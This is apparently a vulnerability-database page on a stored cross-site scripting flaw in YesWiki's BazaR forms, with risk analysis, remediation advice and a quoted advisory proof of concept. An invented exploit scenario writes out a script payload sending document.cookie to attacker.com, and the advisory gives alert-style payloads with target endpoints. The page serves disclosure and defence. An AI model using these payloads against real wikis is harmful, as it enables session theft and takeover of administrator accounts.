CVE-2026-34598
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessInject JavaScript payload in form title field
-
ExploitPayload stored in backend database
-
ExecutionVictim visits page with injected form
-
ImpactMalicious JavaScript executes in victim's browser
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | No authentication required. Attacker injects JavaScript via form title field (stored in backend database). Any user visiting the page with injected form title triggers arbitrary JavaScript execution in their browser. Requires victim interaction (visiting the affected page). |
| Impact | This vulnerability presents elevated real-world risk despite the absence of CVSS scoring and EPSS data. The unauthenticated attack vector significantly lowers the barrier to exploitation, requiring only HTTP access to the YesWiki instance without any account credentials. A GitHub security advisory has been published, confirming vendor acknowledgment and providing proof-of-concept details with specific endpoints and payloads, which substantially increases exploitation probability. No CISA KEV listing exists, indicating no confirmed active exploitation at time of analysis. However, the detailed PoC in the advisory enables any attacker to reproduce the vulnerability trivially. The stored nature creates persistent risk affecting all users who view compromised pages, including administrators whose sessions could be hijacked for privilege escalation. Attack complexity is low given the straightforward injection process. While SSVC technical impact would be classified as partial (confidentiality/integrity breach in user context rather than system compromise), the automatable nature and potential for widespread impact across multi-user wikis elevate priority. Organizations running public-facing YesWiki instances or those with untrusted contributors face immediate risk. |
| Exploit ScenarioDerived | An external attacker navigates to a public YesWiki instance at https://target-wiki.example.com/?BazaR&vue=formulaire without authenticating. They click the add record button for the Diary form and inject the payload <script>fetch('https://attacker.com/exfil?cookie='+document.cookie)</script> into the 'Name of the event' field, then submit the form. The malicious script is stored in the YesWiki database and persists across sessions. When a legitimate administrator visits https://target-wiki.example.com/?BazaR&vue=consulter to review diary entries, the stored script executes in their browser, exfiltrating their session cookie to the attacker's server. The attacker uses the stolen session to authenticate as the administrator, gaining full control over wiki content, user management, and potentially accessing sensitive organizational information stored in wiki pages. Publicly available exploit code exists in the GitHub advisory, enabling trivial reproduction by any threat actor. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 01, 2026
Stored cross-site scripting (XSS) in YesWiki allows unauthenticated attackers to inject malicious JavaScript through form title fields, achieving persistent code execution in browsers of all users viewing affected pages. The vulnerability requires no authentication and affects the BazaR form component, with publicly available exploit code demonstrating injection via the 'Name of the event' and 'Description' fields. Successful exploitation enables session hijacking, credential theft, and arbitrary actions in victim contexts including administrative users.
RemediationAI
Organizations should immediately consult the official GitHub security advisory at github.com/YesWiki/yeswiki/security/advisories/GHSA-37fq-47qj-6j5j for vendor-provided remediation guidance and patch availability. Upstream fix available (PR/commit); released patched version not independently confirmed from available data, so administrators should monitor the YesWiki GitHub repository for tagged security releases. As an interim mitigation, restrict access to form creation endpoints (/?BazaR&vue=formulaire) using web server access controls or authentication mechanisms to prevent unauthenticated submission. Implement Content Security Policy (CSP) headers with script-src 'self' directive to limit execution of inline JavaScript, though this may require application configuration changes. Database administrators should audit existing form entries for malicious script content by searching for patterns like <script>, javascript:, onerror=, and onload= in form title and description fields, sanitizing any identified payloads. For production environments unable to immediately patch, consider disabling the BazaR module entirely if not mission-critical. Subscribe to security notifications from github.com/advisories/GHSA-37fq-47qj-6j5j for updates on permanent fixes.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in composer
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
YesWiki is a PHP-based wiki and collaborative web application framework distributed via Composer (pkg:composer/yeswiki_yeswiki). This vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation), where the application fails to sanitize or encode user-supplied input in form title fields before storing it in the backend database. When the stored data is rendered on pages like /?BazaR&vue=consulter, the browser interprets the malicious script tags as executable code rather than display text. The BazaR module's form handling mechanism lacks proper output encoding, allowing HTML and JavaScript injection to persist across sessions. This is a classic stored XSS attack chain: injection at input → storage in database → unsafe rendering on output → execution in victim browsers. The blind nature means attackers cannot immediately see results but can exfiltrate data to external servers.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Primary rating from Vendor (https://github.com/YesWiki/yeswiki) · only source for this CVE.
CVSS VectorVendor: https://github.com/YesWiki/yeswiki
Lifecycle Timeline
2DescriptionCVE.org
Summary
A stored and blind XSS vulnerability exists in the form title field. A malicious attacker can inject JavaScript without any authentication via a form title that is saved in the backend database. When any user visits that injected page, the JavaScript payload gets executed.
Type: Stored and Blind Cross-Site Scripting (XSS) Affected Component: form title input field Authentication Required: No (Unauthenticated attack possible) Impact: Arbitrary JavaScript execution in victim’s browser
Details
A Stored XSS vulnerability occurs when an application stores malicious user input (in this case, a script injected via the form title field) in its backend database and renders it later on a page viewed by other users without proper sanitization or encoding.
In this case, the attacker can inject JavaScript payloads in the title field of a form, which the application stores in the database. When any user, such as an admin or another visitor, views the page that displays this title, the malicious script executes in their browser context.
PoC
- Visit
https://yeswiki.net/?BazaR&vue=formulaireorlocalhost/?BazaR&vue=formulaireor
https://ferme.yeswiki.net/[username]/?BazaR&vue=formulaire
- Click on the
+icon to add a record via theDiaryform. - Inject the payload like:
<script>alert(document.cookie)</script>or<script>alert(1)</script>intoName of the eventandDescription - Then save the record by clicking
To validate - The payload will be executed when anyone visits
/?BazaR&vue=consulteralso in the diary record
/?wiki=BazaR&vue=consulter&action=recherche&q=&id=2&facette=
The payload is persistant.
Executive ViewAI
YesWiki contains a stored cross-site scripting vulnerability in the BazaR form component that allows unauthenticated attackers to inject persistent malicious code affecting all users who view compromised pages, creating risk of session hijacking and credential theft across your user base including administrators. This vulnerability poses immediate risk to any organization using YesWiki, as exploitation requires no special access and publicly available proof-of-concept code exists. Immediate isolation of affected instances is necessary pending vendor remediation.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) disable or restrict access to BazaR form component until patch availability; (2) implement input validation on form title and description fields to reject or sanitize JavaScript patterns; (3) apply Web Application Firewall rules to block script payloads in form submissions; (4) enforce Content Security Policy headers to restrict inline script execution; (5) audit and invalidate all active user sessions as precautionary measure.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
GHSA-37fq-47qj-6j5j
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB